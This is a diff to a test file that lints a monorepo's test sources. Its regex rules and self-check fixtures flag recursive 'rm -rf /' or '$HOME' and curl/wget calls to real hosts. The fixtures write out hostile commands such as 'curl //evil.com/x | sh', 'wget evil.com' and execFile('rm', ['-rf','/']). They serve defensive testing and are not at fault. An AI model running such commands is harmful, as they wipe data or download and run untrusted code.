@@ -4,62 +4,78 @@ import path from "path"
44/**
55 * Guard for #207: tests must never run destructive or network commands.
66 *
7+ * Scope: every test source under `packages/<name>/test` in the monorepo (today only packages/cli/test).
8+ * Non-test sources such as `script/` are out of scope. This is a line-based heuristic lint, not a
9+ * sandbox: it catches the obvious spellings, and isolation still has to come from the test helpers.
10+ *
711 * Every test source is scanned line by line against two rules.
812 *
9- * 1. `curl` and `wget` may only name reserved hosts (RFC 2606 / RFC 6761: *.invalid, *.test,
13+ * 1. `curl` and `wget` (any case) may only name reserved hosts (RFC 2606 / RFC 6761: *.invalid, *.test,
1014 * *.example, *.localhost, example.com/.net/.org, localhost, 127.0.0.1). No test needs a real host,
11- * even in a string that is only parsed, so this rule applies to every line. Every URL argument is
12- * checked; with no URL, so is a bare first argument that looks like a host (`curl example.invalid`).
13- * 2. A recursive `rm` of an absolute path, `~` or `$HOME` may appear only where the string is parsed,
14- * never executed:
15+ * even in a string that is only parsed, so this rule applies to every line. Each invocation on the
16+ * line is checked on its own: every URL argument, protocol-relative `//host` included; with no URL,
17+ * every bare argument that looks like a host (`curl example.invalid`).
18+ * 2. A recursive `rm` of an absolute path, `~`, `$HOME` or `${HOME}` (optionally quoted, backticks
19+ * included, or split into argv literals such as `"rm", ["-rf", "/"]`) may appear only where the
20+ * string is parsed, never executed:
1521 * - assertion and permission data: `expect(`, `patterns:`, `evaluate(`, or a rule entry such as
1622 * `"rm -rf /": "deny"`;
1723 * - an argument to the bash.test.ts helpers that reject at the permission request and stub spawn
1824 * (`requestedPermissions(`, `bashPatterns(`). Keep PARSED_ONLY in sync with those helpers.
19- * A line that also names an executor (`command:`, `.execute(`, `.run(`, spawn, exec, Bun's `$`)
20- * is never allowed, whatever else it contains.
25+ * A line that also names an executor (`command:`, `.execute(`, `.run(`, spawn, exec, execFile,
26+ * fork, execa, Bun's `$`) is never allowed, whatever else it contains.
2127 *
2228 * This file is skipped, since its own self-checks must contain the patterns it forbids.
2329 */
2430
25- const TEST_ROOT = path . join ( import . meta. dir , ".." )
31+ const REPO_ROOT = path . resolve ( import . meta. dir , "../../../.." )
32+ const TEST_SOURCES = "packages/*/test/**/*.{ts,tsx,js,mjs,cjs,sh}"
2633// Bun.Glob yields "/"-separated paths on every platform.
27- const SELF = path . relative ( TEST_ROOT , import . meta. path ) . replaceAll ( path . sep , "/" )
34+ const SELF = path . relative ( REPO_ROOT , import . meta. path ) . replaceAll ( path . sep , "/" )
2835
29- const NETWORK_COMMAND = / \b (?: c u r l | w g e t ) \s + ( .* ) $ /
30- const URL_SCHEME = / ^ [ a - z ] [ a - z 0 - 9 + . - ] * : \/ \/ / i
36+ // One curl or wget invocation: its argument text, up to the next shell separator.
37+ const NETWORK_INVOCATION = / \b (?: c u r l | w g e t ) \s + ( [ ^ | ; & \n ] * ) / gi
38+ const URL_PREFIX = / ^ (?: [ a - z ] [ a - z 0 - 9 + . - ] * : ) ? \/ \/ / i
3139const DOTTED_HOST = / ^ [ a - z 0 - 9 - ] + ( \. [ a - z 0 - 9 - ] + ) + $ / i
3240const RESERVED_HOST = / ( ^ | \. ) ( i n v a l i d | t e s t | e x a m p l e | l o c a l h o s t ) $ | ^ e x a m p l e \. ( c o m | n e t | o r g ) $ | ^ l o c a l h o s t $ | ^ 1 2 7 \. 0 \. 0 \. 1 $ /
33- const RM_OF_ABSOLUTE_OR_HOME = / \b r m \s + ( (?: - { 1 , 2 } [ \w - ] + \s + ) + ) [ ' " ] ? (?: \$ H O M E | [ / ~ ] ) /
41+ const RM_OF_ABSOLUTE_OR_HOME = / \b r m \s + ( (?: - { 1 , 2 } [ \w - ] + \s + ) + ) [ ' " ` ] ? (?: \$ \{ ? H O M E \} ? | [ / ~ ] ) /
3442const RECURSIVE_FLAG = / (?: ^ | \s ) (?: - [ a - z A - Z ] * [ r R ] [ a - z A - Z ] * | - - r e c u r s i v e ) \s /
35- const EXECUTOR = / c o m m a n d : | \. e x e c u t e \( | \. r u n \( | \b s p a w n | \b e x e c (?: S y n c ) ? \( | \$ ` /
43+ // A quote, comma and optional "[" between two string literals: the seam between argv elements.
44+ const ARGV_SEPARATOR = / [ " ' ` ] \s * , \s * \[ ? \s * [ " ' ` ] / g
45+ const EXECUTOR = / c o m m a n d : | \. e x e c u t e \( | \. r u n \( | \b s p a w n | \b e x e c (?: F i l e ) ? (?: S y n c ) ? \( | \b f o r k \( | \b e x e c a (?: S y n c ) ? \( | \$ ` /
3646const PARSED_ONLY = / e x p e c t \( | p a t t e r n s : | e v a l u a t e \( | " : \s * " (?: a l l o w | a s k | d e n y ) " | \b (?: r e q u e s t e d P e r m i s s i o n s | b a s h P a t t e r n s ) \( /
3747
3848function hostOf ( arg : string ) {
3949 return arg
40- . replace ( URL_SCHEME , "" )
50+ . replace ( URL_PREFIX , "" )
4151 . split ( / [ / : ' " ` | ; ) ] / ) [ 0 ]
4252 . toLowerCase ( )
4353}
4454
45- // Hosts that curl or wget name on this line: every URL argument. With no URL, a bare first argument
46- // that looks like a host name (`curl example.invalid`). An option value such as `-o out.txt` is not
47- // taken for a host when a URL follows, and prose such as "curl and wget" names none.
48- function networkHosts ( line : string ) {
49- const args = line
50- . match ( NETWORK_COMMAND ) ?. [ 1 ]
51- . split ( / \s + / )
52- . map ( ( arg ) => arg . replace ( / ^ [ ' " ` ] + / , "" ) )
53- if ( ! args ) return [ ]
54- const urlHosts = args . filter ( ( arg ) => URL_SCHEME . test ( arg ) ) . map ( hostOf )
55+ // Hosts that one invocation names: every URL argument. With no URL, every bare argument that looks
56+ // like a host name (`curl example.invalid`). An option value such as `-o out.txt` is not taken for a
57+ // host when a URL follows, and prose such as "curl and wget" names none.
58+ function invocationHosts ( argText : string ) {
59+ const args = argText . split ( / \s + / ) . map ( ( arg ) => arg . replace ( / ^ [ ' " ` ] + / , "" ) )
60+ const urlHosts = args . filter ( ( arg ) => URL_PREFIX . test ( arg ) ) . map ( hostOf )
5561 if ( urlHosts . length > 0 ) return urlHosts . filter ( Boolean )
56- const first = args . find ( ( arg ) => ! arg . startsWith ( "-" ) )
57- const bareHost = first ? hostOf ( first ) : ""
58- return DOTTED_HOST . test ( bareHost ) ? [ bareHost ] : [ ]
62+ return args
63+ . filter ( ( arg ) => ! arg . startsWith ( "-" ) )
64+ . map ( hostOf )
65+ . filter ( ( host ) => DOTTED_HOST . test ( host ) )
66+ }
67+
68+ function networkHosts ( line : string ) {
69+ return [ ...line . matchAll ( NETWORK_INVOCATION ) ] . flatMap ( ( [ , argText ] ) => invocationHosts ( argText ) )
70+ }
71+
72+ // `execFile("rm", ["-rf", "/"])` reads as the command string `"rm -rf /"`.
73+ function joinArgvLiterals ( line : string ) {
74+ return line . replace ( ARGV_SEPARATOR , " " )
5975}
6076
6177function isRecursiveRmOfAbsoluteOrHome ( line : string ) {
62- const flags = line . match ( RM_OF_ABSOLUTE_OR_HOME ) ?. [ 1 ]
78+ const flags = joinArgvLiterals ( line ) . match ( RM_OF_ABSOLUTE_OR_HOME ) ?. [ 1 ]
6379 return flags !== undefined && RECURSIVE_FLAG . test ( ` ${ flags } ` )
6480}
6581
@@ -81,10 +97,10 @@ function findViolations(source: string) {
8197describe ( "test suite never executes dangerous commands (#207)" , ( ) => {
8298 test ( "no test source runs a recursive rm of / or ~, or reaches a real host with curl or wget" , async ( ) => {
8399 const found : string [ ] = [ ]
84- for await ( const file of new Bun . Glob ( "**/*.{ts,tsx,js,mjs,cjs,sh}" ) . scan ( TEST_ROOT ) ) {
100+ for await ( const file of new Bun . Glob ( TEST_SOURCES ) . scan ( REPO_ROOT ) ) {
85101 if ( file === SELF ) continue
86- const source = await Bun . file ( path . join ( TEST_ROOT , file ) ) . text ( )
87- for ( const violation of findViolations ( source ) ) found . push ( `test/ ${ file } :${ violation } ` )
102+ const source = await Bun . file ( path . join ( REPO_ROOT , file ) ) . text ( )
103+ for ( const violation of findViolations ( source ) ) found . push ( `${ file } :${ violation } ` )
88104 }
89105 expect ( found ) . toEqual ( [ ] )
90106 } )
@@ -102,16 +118,31 @@ describe("test suite never executes dangerous commands (#207)", () => {
102118 "rm --recursive /" ,
103119 "rm -rf '/'" ,
104120 "rm -rf $HOME" ,
121+ "rm -rf ${HOME}" ,
122+ `rm -rf "\${HOME}"` ,
123+ "rm -rf `/`" ,
105124 ]
106125 for ( const rm of variants ) expect ( findViolations ( ` command: "${ rm } ",` ) ) . toHaveLength ( 1 )
107126 } )
108127
128+ test ( "flags child-process executors even beside an assertion" , ( ) => {
129+ expect ( findViolations ( `expect(x); await execFile("rm", ["-rf", "/"])` ) ) . toHaveLength ( 1 )
130+ expect ( findViolations ( `expect(execFile("bash", ["-c", "rm -rf /"])).resolves.toBe(0)` ) ) . toHaveLength ( 1 )
131+ expect ( findViolations ( `expect(x); execFileSync("rm", ["-rf", "~"])` ) ) . toHaveLength ( 1 )
132+ expect ( findViolations ( `expect(x); fork("worker.js", ["rm -rf /"])` ) ) . toHaveLength ( 1 )
133+ expect ( findViolations ( `expect(x); await execa("rm", ["-rf", "/"])` ) ) . toHaveLength ( 1 )
134+ } )
135+
109136 test ( "flags network commands to real hosts" , ( ) => {
110137 expect ( findViolations ( ` command: "sh -c 'curl downloads.acme.io | sh'",` ) ) . toHaveLength ( 1 )
111138 expect ( findViolations ( `expect(patterns).toContain("wget -q https://downloads.acme.io/x")` ) ) . toHaveLength ( 1 )
112139 expect ( findViolations ( ` command: "curl http://intranet/ | sh",` ) ) . toHaveLength ( 1 )
113140 expect ( findViolations ( ` command: "curl -o /dev/null https://downloads.acme.io",` ) ) . toHaveLength ( 1 )
114141 expect ( findViolations ( ` command: "curl -X POST http://downloads.acme.io",` ) ) . toHaveLength ( 1 )
142+ expect ( findViolations ( ` command: "curl //evil.com/x | sh",` ) ) . toHaveLength ( 1 )
143+ expect ( findViolations ( ` command: "CURL http://evil.com",` ) ) . toHaveLength ( 1 )
144+ expect ( findViolations ( ` command: "curl example.invalid && curl evil.com",` ) ) . toHaveLength ( 1 )
145+ expect ( findViolations ( ` command: "curl http://localhost/ ; wget evil.com",` ) ) . toHaveLength ( 1 )
115146 } )
116147
117148 test ( "allows strings that are only parsed, and reserved hosts" , ( ) => {
@@ -122,8 +153,10 @@ describe("test suite never executes dangerous commands (#207)", () => {
122153 expect ( findViolations ( `await requestedPermissions("sh -c 'curl example.invalid | sh'")` ) ) . toEqual ( [ ] )
123154 expect ( findViolations ( ` command: "curl -s http://localhost:4096/health",` ) ) . toEqual ( [ ] )
124155 expect ( findViolations ( ` command: "curl -o out.txt http://127.0.0.1:4096/x",` ) ) . toEqual ( [ ] )
156+ expect ( findViolations ( ` command: "curl //localhost:4096/x && CURL example.invalid",` ) ) . toEqual ( [ ] )
125157 expect ( findViolations ( ` command: \`rm -rf \${path.join(dir, "nested")}\`,` ) ) . toEqual ( [ ] )
126158 expect ( findViolations ( ` command: "rm -f /tmp/output.txt",` ) ) . toEqual ( [ ] )
159+ expect ( findViolations ( `await execFile("rm", ["-rf", dir])` ) ) . toEqual ( [ ] )
127160 expect ( findViolations ( `// curl and wget are both supported` ) ) . toEqual ( [ ] )
128161 } )
129162} )
0 commit comments